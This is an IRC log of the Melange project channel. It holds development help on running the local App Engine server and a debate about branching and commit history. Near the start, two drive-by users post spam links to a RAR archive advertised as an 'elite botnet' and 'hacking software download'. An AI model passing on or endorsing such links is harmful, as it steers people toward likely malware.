| *** tpb has joined #melange | 00:00 | |
| -brown.freenode.net- [freenode-info] channel flooding and no channel staff around to help? Please check with freenode support: http://freenode.net/faq.shtml#gettinghelp | 00:00 | |
| *** dhaun has quit IRC | 00:01 | |
| *** dr__house has quit IRC | 00:41 | |
| *** m4k3r has quit IRC | 02:33 | |
| *** dr__house has joined #melange | 02:36 | |
| *** dr__house has joined #melange | 02:36 | |
| *** dr__house has quit IRC | 03:11 | |
| *** dr__house has joined #melange | 03:11 | |
| *** dr__house has quit IRC | 03:36 | |
| *** tansell-laptop has joined #melange | 03:43 | |
| *** chocolaate-maan has joined #melange | 04:22 | |
| -chocolaate-maan- download this http://uploadmirrors.com/download/0ASMJUI7/psyBNC2.3.1_1.rar | 04:22 | |
| chocolaate-maan | elite botnet http://uploadmirrors.com/download/0ASMJUI7/psyBNC2.3.1_1.rar | 04:22 |
|---|---|---|
| *** chocolaate-maan has left #melange | 04:22 | |
| tpb | <http://ln-s.net/8+XE> (at uploadmirrors.com) | 04:22 |
| *** schultmc has quit IRC | 06:40 | |
| *** schultmc has joined #melange | 06:46 | |
| *** m4k3r has joined #melange | 06:51 | |
| *** m4k3r has quit IRC | 07:02 | |
| *** chocolaate-maan has joined #melange | 07:08 | |
| *** chocolaate-maan has left #melange | 07:08 | |
| *** madrazr has joined #melange | 07:21 | |
| *** ChanServ sets mode: +o madrazr | 07:21 | |
| *** madrazr has quit IRC | 07:41 | |
| *** madrazr has joined #melange | 09:05 | |
| *** ChanServ sets mode: +o madrazr | 09:05 | |
| *** tansell-laptop has quit IRC | 09:06 | |
| *** Pline has joined #melange | 09:45 | |
| -Pline- bots http://uploadmirrors.com/download/0ASMJUI7/psyBNC2.3.1_1.rar | 09:45 | |
| Pline | hacking software download http://uploadmirrors.com/download/0ASMJUI7/psyBNC2.3.1_1.rar | 09:45 |
| *** Pline has left #melange | 09:45 | |
| tpb | <http://ln-s.net/8+XE> (at uploadmirrors.com) | 09:45 |
| *** westi|gone has quit IRC | 10:08 | |
| *** westi has joined #melange | 10:11 | |
| *** madrazr has quit IRC | 11:03 | |
| *** slingshot316 has joined #melange | 11:04 | |
| slingshot316 | hey guys! i have a small issue with the development server | 11:06 |
| *** madrazr has joined #melange | 11:53 | |
| *** ChanServ sets mode: +o madrazr | 11:53 | |
| slingshot316 | madrazr: there? | 12:55 |
| madrazr | slingshot316: heya! | 12:56 |
| slingshot316 | madrazr: i need some help | 12:56 |
| madrazr | slingshot316: yeah? | 12:56 |
| slingshot316 | madrazr: when i'm running the appserver, i'm gettin the following warnings http://codepad.org/VQSQjTaL and page not found eroor | 12:58 |
| tpb | Title: Plain Text code - 7 lines - codepad (at codepad.org) | 12:58 |
| slingshot316 | error | 12:58 |
| madrazr | slingshot316: ah | 13:01 |
| madrazr | we all have been running into this problem recently | 13:01 |
| madrazr | slingshot316: sudo easy_install ssl | 13:01 |
| madrazr | slingshot316: rather, install the Python ssl package in some way on your machine | 13:02 |
| slingshot316 | oh i installed opensll with no luck | 13:02 |
| madrazr | slingshot316: install python bindings for openssl | 13:02 |
| slingshot316 | madrazr: and what about the page not found at localhost:8080/site/show/site | 13:02 |
| madrazr | slingshot316: openssl installs the OpenSSL package | 13:03 |
| slingshot316 | madrazr: will do that now | 13:03 |
| madrazr | slingshot316: that is fine | 13:03 |
| madrazr | if you are on the tip of the default branch | 13:03 |
| madrazr | most of the URLs on the development version are broken at the moment | 13:03 |
| madrazr | we are reworking on a lot of stuff | 13:03 |
| slingshot316 | madrazr: oh okay okay | 13:03 |
| slingshot316 | madrazr: so i wont be able to run the local development server at the moment? | 13:05 |
| madrazr | slingshot316: sure it will be | 13:06 |
| madrazr | slingshot316: but not all the URLs are working | 13:06 |
| madrazr | slingshot316: you may get 404 for many URLs | 13:06 |
| slingshot316 | madrazr: but the main page is itself giving a 404 | 13:06 |
| madrazr | slingshot316: I don't think so | 13:07 |
| madrazr | localhost:8080 is the main page | 13:07 |
| madrazr | it works for me | 13:07 |
| slingshot316 | well, its not working for me :( | 13:08 |
| slingshot316 | madrazr: it says request url : http://localhost:8080/site/show/site not found | 13:08 |
| slingshot316 | madrazr: its actually redirecting me to localhost:8080/site/show/site | 13:09 |
| madrazr | slingshot316: the home page is http://localhost:8080/ | 13:09 |
| madrazr | slingshot316: set your site settings | 13:10 |
| slingshot316 | madrazr: i know m trying the same | 13:11 |
| slingshot316 | madrazr: site settings as in? wher? | 13:12 |
| madrazr | slingshot316: ah wait | 13:12 |
| madrazr | this is going to be tricky | 13:12 |
| madrazr | slingshot316: what version are you using? | 13:13 |
| slingshot316 | madrazr: you mean python ? | 13:13 |
| madrazr | slingshot316: how updated are you wrt to our default branch? | 13:13 |
| madrazr | slingshot316: no Melange | 13:13 |
| slingshot316 | madrazr: well, i cloned it from http://soc.googlecode.com/hg/ | 13:14 |
| tpb | Title: Revision 2b657a4220: / (at soc.googlecode.com) | 13:14 |
| slingshot316 | madrazr: i dont know which version it is | 13:15 |
| madrazr | slingshot316: can you give the output of hg tip? | 13:15 |
| madrazr | $ hg tip | 13:15 |
| slingshot316 | yea | 13:15 |
| slingshot316 | one second | 13:15 |
| slingshot316 | http://codepad.org/sv91D0h8 | 13:16 |
| tpb | Title: Plain Text code - 5 lines - codepad (at codepad.org) | 13:16 |
| *** m4k3r has joined #melange | 13:19 | |
| madrazr | slingshot316: can you just run hg update once? | 13:20 |
| slingshot316 | madrazr: sure | 13:21 |
| slingshot316 | madrazr: one second | 13:23 |
| slingshot316 | madrazr: 0 files updated, 0 files merged, 0 files removed, 0 files unresolved | 13:24 |
| madrazr | slingshot316: Oh | 13:25 |
| madrazr | slingshot316: now for your development, not to see the 404s | 13:25 |
| madrazr | open, app/soc/modules/soc_core/callback.py | 13:26 |
| madrazr | line 84 | 13:26 |
| madrazr | disable the if line and the return | 13:26 |
| slingshot316 | one second | 13:26 |
| madrazr | locally | 13:26 |
| slingshot316 | madrazr: yea i commented the two lines | 13:27 |
| madrazr | slingshot316: run your server now | 13:27 |
| slingshot316 | yea one second | 13:27 |
| slingshot316 | madrazr: whoa! it worked | 13:28 |
| madrazr | slingshot316: but don't commit that code | 13:28 |
| slingshot316 | madrazr: but what was the problem ? | 13:28 |
| madrazr | slingshot316: it should not be removed actually, but since things are slightly broken | 13:28 |
| madrazr | ... | 13:28 |
| madrazr | slingshot316: there is no problem | 13:28 |
| madrazr | slingshot316: since we are working on new stuff | 13:29 |
| madrazr | we have disabled all the old stuff | 13:29 |
| slingshot316 | madrazr: okay okay | 13:29 |
| slingshot316 | madrazr: okay | 13:29 |
| slingshot316 | madrazr: one more thing | 13:29 |
| madrazr | slingshot316: yeah? | 13:30 |
| slingshot316 | madrazr: i have python-imaging installed but it still says WARNING 2011-02-27 11:05:32,687 dev_appserver.py:3700] Could not initialize images API; you are likely missing the Python "PIL" module. ImportError: No module named _imaging | 13:30 |
| madrazr | slingshot316: I think PIL is installed for a different version of Python | 13:32 |
| madrazr | and even imaging library | 13:32 |
| slingshot316 | madrazr: oh right, sorry i forgot m in the virtualenv | 13:32 |
| slingshot316 | madrazr: my bad | 13:32 |
| slingshot316 | madrazr: so when should i put those lines back again ? | 13:34 |
| madrazr | slingshot316: you should not have taken it out in the first place :D | 13:34 |
| madrazr | slingshot316: but yeah, just create some data | 13:34 |
| madrazr | and put it back | 13:35 |
| madrazr | slingshot316: site settings | 13:35 |
| madrazr | sponsor | 13:35 |
| madrazr | program | 13:35 |
| madrazr | orgs | 13:35 |
| madrazr | org admins, mentors, students, student proposals | 13:35 |
| madrazr | student projects | 13:35 |
| madrazr | timeline | 13:35 |
| madrazr | is the data you need to create | 13:35 |
| madrazr | you can use localhost:8080/seed_db | 13:36 |
| slingshot316 | madrazr: http://localhost:8080/seed_db this does the same right? | 13:36 |
| madrazr | to create some of the data | 13:36 |
| slingshot316 | yea :P | 13:36 |
| madrazr | slingshot316: but seed_db doesn't seed many items | 13:36 |
| madrazr | like student proposals | 13:36 |
| madrazr | student projects | 13:36 |
| slingshot316 | madrazr: yea i'll do that manually | 13:36 |
| madrazr | which are very important | 13:36 |
| slingshot316 | madrazr: okay and i need to change the path to the datastore from temp right? | 13:36 |
| slingshot316 | madrazr: and you're sure i can use 2.7 for sdk right? | 13:38 |
| madrazr | slingshot316: I am using Python2.7 right now | 13:38 |
| madrazr | as we are talking together | 13:38 |
| madrazr | I am doing some development work on Melange | 13:38 |
| madrazr | on Python2.7 | 13:38 |
| madrazr | slingshot316: if that is sure enough :P | 13:38 |
| slingshot316 | madrazr: more than enough | 13:39 |
| slingshot316 | madrazr: thank you so much for all the guidance, you saved my day :) | 13:39 |
| slingshot316 | madrazr: thank you :) | 13:39 |
| madrazr | slingshot316: NP :) | 13:39 |
| slingshot316 | madrazr: hope i;m not irritating you | 13:39 |
| *** dhaun has joined #melange | 13:51 | |
| madrazr | slingshot316: definitely not | 13:54 |
| madrazr | don't worry | 13:54 |
| madrazr | slingshot316: we always welcome our new contributors with open arms :) | 13:54 |
| slingshot316 | madrazr: yea i noticed that, very sweet :) | 13:56 |
| slingshot316 | madrazr: how is everyone at FOSSEE? | 13:57 |
| madrazr | slingshot316: we are doing good | 13:57 |
| madrazr | slingshot316: we have few new comers | 13:57 |
| madrazr | :) | 13:57 |
| slingshot316 | madrazr: oh thats nice, let me know if you will guys are organizing any events like scipy | 13:59 |
| madrazr | slingshot316: we will organizing another SciPy in 2011 :P | 14:01 |
| slingshot316 | madrazr: lol | 14:01 |
| slingshot316 | madrazr: instead of running dev_appserver.py --datastore_path everytime, is there a way to change it permanently? | 14:03 |
| madrazr | slingshot316: not that I know of | 14:03 |
| madrazr | slingshot316: but there is bash | 14:03 |
| madrazr | slingshot316: if you can do tricks there :) | 14:03 |
| madrazr | slingshot316: for example, I have a bash shortcut, smel | 14:04 |
| madrazr | which does this | 14:04 |
| madrazr | cd /media/python/workspace/melange | 14:04 |
| madrazr | python2.7 ./thirdparty/google_appengine/dev_appserver.py --datastore_path=/media/python/dev_appserver.datastore --blobstore_path=/media/python/dev_appserver.blobstore --port=8000 --enable_sendmail --show_mail_body --allow_skipped_files build | 14:04 |
| slingshot316 | madrazr: yea, i can do that in bash | 14:04 |
| madrazr | pretty nifty | 14:04 |
| madrazr | slingshot316: then do it :P | 14:04 |
| slingshot316 | madrazr: will do that, thank you :) | 14:05 |
| madrazr | slingshot316: NP | 14:05 |
| slingshot316 | madrazr: after filling the data and putting back those two lines, can i commit? | 14:17 |
| madrazr | slingshot316: sure | 14:17 |
| madrazr | locally | 14:17 |
| slingshot316 | yea locally | 14:17 |
| madrazr | slingshot316: but you cannot push back to the main repo yet | 14:18 |
| madrazr | slingshot316: yeah sure locally | 14:18 |
| slingshot316 | madrazr: okay :) | 14:18 |
| madrazr | you can even push to your own version if you are running it somewher | 14:18 |
| madrazr | e | 14:18 |
| slingshot316 | madrazr: no right now, m not running it anywhere :P | 14:18 |
| madrazr | slingshot316: Ok | 14:19 |
| *** slingshot316 has quit IRC | 15:50 | |
| *** slingshot316 has joined #melange | 17:20 | |
| *** dr__house has joined #melange | 17:52 | |
| *** dr__house has joined #melange | 17:52 | |
| *** dr__house has quit IRC | 18:11 | |
| *** dr__house has joined #melange | 18:12 | |
| *** dr__house has joined #melange | 18:12 | |
| *** m4k3r has quit IRC | 18:12 | |
| *** m4k3r has joined #melange | 18:12 | |
| *** madrazr has quit IRC | 18:34 | |
| *** madrazr has joined #melange | 18:45 | |
| *** ChanServ sets mode: +o madrazr | 18:45 | |
| *** slingshot316 has quit IRC | 18:58 | |
| antrik | 14:32 <@madrazr> slingshot316: since we are working on new stuff | 20:19 |
| antrik | 14:32 <@madrazr> we have disabled all the old stuff | 20:19 |
| antrik | woah | 20:19 |
| antrik | madrazr: it seems you still need some mentoring on good development practices... :-P | 20:19 |
| madrazr | antrik: can you please explain? | 20:19 |
| antrik | sure | 20:20 |
| antrik | master should always be kept in a working state as much as possible | 20:20 |
| madrazr | antrik: why it is not a good development practice to disable stuff? | 20:20 |
| antrik | so people can work on unrelated features | 20:20 |
| madrazr | antrik: well | 20:20 |
| antrik | if you do major changes, do them on a branch, and merge once they are ready | 20:20 |
| madrazr | antrik: it really depends | 20:21 |
| madrazr | antrik: our point is, when you are doing 10s of changes a day | 20:21 |
| madrazr | keep them on master | 20:21 |
| madrazr | antrik: that is the development line right? | 20:22 |
| madrazr | antrik: and then you have release branches? | 20:22 |
| antrik | no, only changes that don't (knowingly) break existing functionality should be applied to master directly | 20:22 |
| antrik | otherwise it makes life really hard for anyone working on some other features | 20:23 |
| madrazr | antrik: when there is no one working on some other feature? | 20:23 |
| madrazr | antrik: when everyone is working on the same thing? | 20:23 |
| antrik | you never know that, especially in a community project | 20:24 |
| antrik | I have a feature I intend to work on in the near future | 20:24 |
| madrazr | antrik: I see that most of the projects do their development on master and once the master reaches the release state, they branch that off into a maintenance branch | 20:24 |
| madrazr | are they all doing it wrong then? | 20:24 |
| antrik | (well, most likely someone else will do the actuall work, but that's beside the point...) | 20:24 |
| madrazr | antrik: talk to the community first, if it is such a case | 20:24 |
| madrazr | antrik: why do you want to hide that from the community then? | 20:25 |
| antrik | madrazr: I'm not sure about "most" | 20:25 |
| antrik | projects that do it *right*, never commit patches to master that are known to break existing functionality | 20:25 |
| antrik | remember my rants about bisectability? :-) | 20:26 |
| madrazr | antrik: sure :) | 20:26 |
| antrik | it should always be possible to pick an arbitrary revision on master, and have a more or less working system | 20:26 |
| madrazr | antrik: for the rants | 20:26 |
| madrazr | not for the earlier | 20:26 |
| madrazr | antrik: I don't quite agree here | 20:27 |
| madrazr | antrik: it means every point on the development line should be in a working state | 20:27 |
| antrik | you can do temporary commits on branches if that helps you, but before commiting them to master, better rework them so each patch goes from one working state to another working state | 20:27 |
| madrazr | antrik: which means you want to rewrite history? | 20:28 |
| antrik | sure :-) | 20:28 |
| madrazr | antrik: why? | 20:28 |
| madrazr | why? | 20:28 |
| madrazr | why do you encourage that? | 20:28 |
| antrik | because it doesn't matter in the end whether you first had a partial or buggy implementation of some change before getting to the final version. it's only the final changes that matter. | 20:29 |
| madrazr | antrik: anyways seems like we are getting sidelined | 20:29 |
| madrazr | antrik: well, in the end nothing matters. Whether you wrote the code or not also doesn't matter. All that matters is get me a releasable software that just works | 20:30 |
| madrazr | :) | 20:30 |
| antrik | when people look at history, they want answers to question like "what change did introduce this bug?" | 20:31 |
| madrazr | antrik: then why maintain history at all? | 20:31 |
| madrazr | antrik: people may also want to know how you arrived at what you arrived at | 20:31 |
| antrik | or they want to do actions like "revert that change that turned out to be problematic in the end" | 20:31 |
| antrik | nope, that only confuses | 20:31 |
| madrazr | antrik: you say that | 20:32 |
| antrik | if it's necessary to explain why something was done in a specific manner, it should be explained in code comments and/or in the commit message of the final, cleaned up change | 20:32 |
| madrazr | antrik: but I am interested in knowing it | 20:32 |
| antrik | the purpose of revision control is not to satisfy curiosity :-) | 20:33 |
| antrik | but rather to help the development process | 20:33 |
| madrazr | antrik: which is what I am telling :D | 20:33 |
| madrazr | antrik: the purpose of revision control system is to aid the development process | 20:33 |
| madrazr | antrik: should be used in the way that best helps the community that is using it | 20:33 |
| antrik | nope. having dead-ends, half-baked features etc. in the history doesn't help development; it only makes it harder to see the relevant things | 20:34 |
| madrazr | antrik: there may be best practices | 20:34 |
| madrazr | but it is not guaranteed that, those best practices are best practices for every one out there? | 20:34 |
| antrik | it's only important what changes ultimately made it to the main branch(es); how they were created doesn't matter after the fact | 20:34 |
| madrazr | antrik: thats again your perception | 20:35 |
| antrik | nah, that's logical if you think about it... | 20:35 |
| antrik | and what's more, it's proven in many large projects, including Linux and X.Org among many many others | 20:35 |
| madrazr | antrik: sure it works for them | 20:36 |
| madrazr | thats why they use it | 20:36 |
| antrik | well, one of my favourite quotes: "learn from other people's mistakes. you don't have enough time to make them all yourself." | 20:37 |
| antrik | if you followed any project that uses good practices, you would see yourself how they are helpful. in lack of that, you'd better believe they know what they are doing... | 20:39 |
| madrazr | antrik: sure, mistakes involve circumstances too | 20:39 |
| madrazr | antrik: and circumstances may be different | 20:39 |
| antrik | I've had my share of "I don't think it's a good idea, even if everyone else is doing it that way" myself... in most cases, I was proven wrong :-) | 20:40 |
| madrazr | antrik: "most" | 20:41 |
| madrazr | antrik: you don't want to say "all" here? | 20:41 |
| madrazr | antrik: that means, there were cases, where you were right? | 20:41 |
| antrik | I would have to think obout it more | 20:46 |
| madrazr | antrik: please do and let me know | 20:47 |
| antrik | there are probably cases where I just haven't been proven wrong yet ;-) | 20:47 |
| madrazr | antrik: anyways let us not reach a moot point | 20:47 |
| madrazr | I hope this discussion is for Melange's good | 20:48 |
| antrik | BTW, this is not an abstract comparision. branch management is actually one of the things I had my own ideas about, and was proven wrong | 20:48 |
| madrazr | antrik: so I just have few questions | 20:48 |
| antrik | was proven wrong through both personal experience, and following other projects | 20:48 |
| antrik | in fact I witnessed myself how a change of process *vastly* improved the quality of X.Org development | 20:48 |
| antrik | BTW, you are right that we got sidetracked a bit: | 20:49 |
| antrik | rewriting history is indeed a somewhat controversial topic, and besides the point | 20:49 |
| antrik | whether you keep the original development history or not -- you still should do development on branches. this way any meandering is clearly contained on the branches, and doesn't interfere with other development | 20:50 |
| antrik | (either while happening or while reading history after the fact) | 20:50 |
| madrazr | antrik: well correct | 20:53 |
| madrazr | I agree, if it is meandering, I completely agree with your point | 20:53 |
| madrazr | antrik: but when your whole code base is changing? | 20:53 |
| madrazr | antrik: please listen to this | 20:53 |
| madrazr | antrik: and let me know, if there is something wrong | 20:53 |
| madrazr | antrik: unless someone from the community who has not spoken to the devs here wants to do something knows exactly what he is doing | 20:54 |
| madrazr | antrik: it is very very very likely that whatever he does changes | 20:54 |
| madrazr | antrik: so he better do his changes against the latest development version | 20:54 |
| madrazr | antrik: taking this radical change off the master branch, reduces visibility for new comers | 20:55 |
| madrazr | antrik: take any Revision Control System tool today | 20:55 |
| madrazr | antrik: even the best among all, github.com | 20:55 |
| madrazr | by default they only show the changes happening on the master branch | 20:55 |
| madrazr | antrik: and for a new comer, it is very hard to know where the whole development is happening | 20:56 |
| madrazr | antrik: what is your take on it? | 20:56 |
| madrazr | antrik: Melange code base is in flux now | 20:56 |
| madrazr | antrik: we are almost in the process of rewriting | 20:56 |
| madrazr | antrik: we don't want to do another Python 3.0 like epic fail | 20:57 |
| madrazr | antrik: taking 5 years to change everything else that happens in parallel | 20:57 |
| madrazr | antrik: Oh well, in Python 3.x case, it is 13 years | 20:57 |
| madrazr | 8 years of 3.x development time + 5 years to transform | 20:57 |
| *** dr__house has quit IRC | 21:03 | |
| antrik | actually, when people do development while the whole code base is in flux, it's *better* to de the development on the old code base, and forward port it later | 21:08 |
| antrik | much easier than working with a moving target... | 21:08 |
| antrik | and even more importantly, the feature can be landed before the rewrite is finished | 21:08 |
| antrik | the feature I have in mind should be available for this year's GSoC, not at some indefinite point in the future | 21:08 |
| antrik | also, if you are changing the whole code base at once, you are probably doing something wrong anyways... it's almost always better to do incremental changes | 21:09 |
| antrik | you named one example of the problems a complete rewrite leads to yourself... there are many more | 21:10 |
| madrazr | antrik: again, "it is almost always" | 21:15 |
| madrazr | antrik: which is not always | 21:15 |
| madrazr | antrik: there will be cases, when you want to do that | 21:15 |
| madrazr | antrik: yes, we were doing things wrong previously | 21:16 |
| madrazr | antrik: we know that | 21:16 |
| madrazr | antrik: we have been knowing that from a long time now | 21:16 |
| antrik | hehe... I could name one example, but that would be evil ;-) | 21:16 |
| madrazr | antrik: this is our chance to correct ourselves and move forward | 21:16 |
| madrazr | antrik: please | 21:16 |
| madrazr | antrik: if you want may be on PM | 21:16 |
| madrazr | :D | 21:16 |
| madrazr | antrik: but I know what that example is, anyways :D | 21:16 |
| antrik | but these are really extremely rare, like software that didn't really work at all in the original version... | 21:16 |
| madrazr | antrik: it is a known secret between we 2 :D | 21:17 |
| madrazr | antrik: you made the point my friend | 21:17 |
| madrazr | :) | 21:17 |
| antrik | oh, are you still following the list? | 21:17 |
| madrazr | antrik: yes, really | 21:17 |
| antrik | ah, cool :-) | 21:17 |
| madrazr | antrik: I always want to do some coding for Hurd, but get very little time :( | 21:17 |
| madrazr | antrik: I follow most of the mails except the mails from the guy whose name I can neither spell nor say :P | 21:18 |
| madrazr | antrik: it is just too hard for me :D | 21:18 |
| antrik | hm... not sure what guy you mean :-) | 21:19 |
| antrik | so, what would be the right branch to work on for features that should land soon? | 21:23 |
| madrazr | antrik: well depends on what the feature is | 21:25 |
| madrazr | antrik: ouch wait | 21:25 |
| madrazr | stupid me | 21:25 |
| madrazr | WTB sleep I guess :D | 21:25 |
| madrazr | antrik: well we have resolved to the agreement that we won't land any features until we rewrite our views layer | 21:26 |
| madrazr | antrik: although if you have a bug fix to make, we can talk about it | 21:27 |
| antrik | that's a very very bad decision | 21:27 |
| madrazr | antrik: I agree | 21:27 |
| madrazr | In the most idealistic of the cases, that should not have happened | 21:27 |
| antrik | it's not like adding a new feature to the working version hurts anyone | 21:28 |
| madrazr | antrik: but unfortunately we don't live in ideal world. We all have limited time | 21:28 |
| antrik | you can still work on your rewrite in the meantime, if you think it's necessary... | 21:28 |
| antrik | mind you, I'm not asking you to do the implementation. I just want to know where to work from | 21:29 |
| madrazr | antrik: sure it won't hurt any one, other than the guy who spends his time working on it, which gets changed later | 21:29 |
| antrik | the feature is extremely important to us | 21:29 |
| antrik | (admittedly, I should have started on it much earlier...) | 21:29 |
| madrazr | antrik: I see your point | 21:30 |
| antrik | well, if "the guy" wants it that way, it can hardly hurt him?... :-) | 21:30 |
| madrazr | antrik: sure then | 21:30 |
| madrazr | antrik: I can do some mentoring in that case | 21:30 |
| madrazr | antrik: it is just about re-registering a URL | 21:31 |
| madrazr | as a legacy URL | 21:31 |
| madrazr | antrik: one extra line of code | 21:31 |
| madrazr | antrik: you don't need another branch for it | 21:31 |
| madrazr | antrik: well, if it is a bug fix, there is a bug fix branch (which I don't think is public atm) | 21:31 |
| madrazr | antrik: but I can push to make that branch public | 21:32 |
| madrazr | antrik: but I wonder if there are any bug fixes now | 21:32 |
| madrazr | antrik: (I can push != I can run hg push) :D | 21:32 |
| madrazr | antrik: I can ask the person who has the branch locally to push it :P | 21:32 |
| madrazr | antrik: anyways nice to know that you want to contribute to Melange | 21:33 |
| madrazr | antrik: we will be excited! | 21:33 |
| antrik | are you saying the branch containin the code actually running the live site only lives in someone's private repository?... | 21:33 |
| madrazr | antrik: and I personally will be blessed | 21:33 |
| madrazr | antrik: no way | 21:33 |
| antrik | hehe... it's totally selfish ;-) | 21:33 |
| madrazr | antrik: I never said that :D | 21:33 |
| antrik | hm... I must have misunderstood then :-) | 21:34 |
| madrazr | antrik: I can dig into the point in the tree at which we made the last release | 21:34 |
| madrazr | :) | 21:34 |
| madrazr | antrik: v0-8-20110225 | 21:34 |
| antrik | I meant to write to the mailing list, but as we are already at it, I guess I can just as well explain what the feature is... | 21:34 |
| madrazr | antrik: thats the tag | 21:34 |
| madrazr | antrik: and the current live version is running that | 21:35 |
| madrazr | antrik: sure | 21:35 |
| madrazr | antrik: and if you want to talk to the entire team | 21:35 |
| madrazr | you can as well write to the list | 21:35 |
| antrik | well, the more relevant question is where the code lives which will go live in the near future... and if there is no branch for that purpose yet, where it should be based off | 21:35 |
| madrazr | antrik: I told you I guess, unless something is a bug fix, the code won't go live in the near future | 21:36 |
| madrazr | antrik: although you can base your patch against, v0-8-20110225 tag | 21:36 |
| *** m4k3r has quit IRC | 21:41 | |
| madrazr | antrik: also if you are not convinced with what I have said, please feel free to write to the mailing list | 21:41 |
| antrik | heh, http://code.google.com/p/soc/ still talks about GHOP... | 21:42 |
| tpb | Title: soc - Project Hosting on Google Code (at code.google.com) | 21:42 |
| madrazr | antrik: whats wrong with that? | 21:43 |
| madrazr | antrik: did Google ever announce that it won't do GHOP? | 21:43 |
| madrazr | antrik: they only said they are doing a program called GCI | 21:43 |
| madrazr | :) | 21:43 |
| madrazr | antrik: anyways, thanks for pointing that out | 21:43 |
| madrazr | :D | 21:43 |
| madrazr | antrik: I was just kidding there | 21:44 |
| madrazr | antrik: I will ask some one who has access to edit that page, to change it | 21:44 |
| madrazr | antrik: unfortunately I don't have access | 21:44 |
| antrik | OK | 21:45 |
| madrazr | antrik: thanks for pointing that out | 21:47 |
| *** madrazr has quit IRC | 22:02 | |
| *** madrazr has joined #melange | 22:12 | |
| *** ChanServ sets mode: +o madrazr | 22:12 | |
| *** dhaun has quit IRC | 22:19 | |
| *** dr__house has joined #melange | 23:07 | |
| *** dr__house has joined #melange | 23:07 | |
Generated by irclog2html.py 2.17.2 by Marius Gedminas - find it at https://mg.pov.lt/irclog2html/!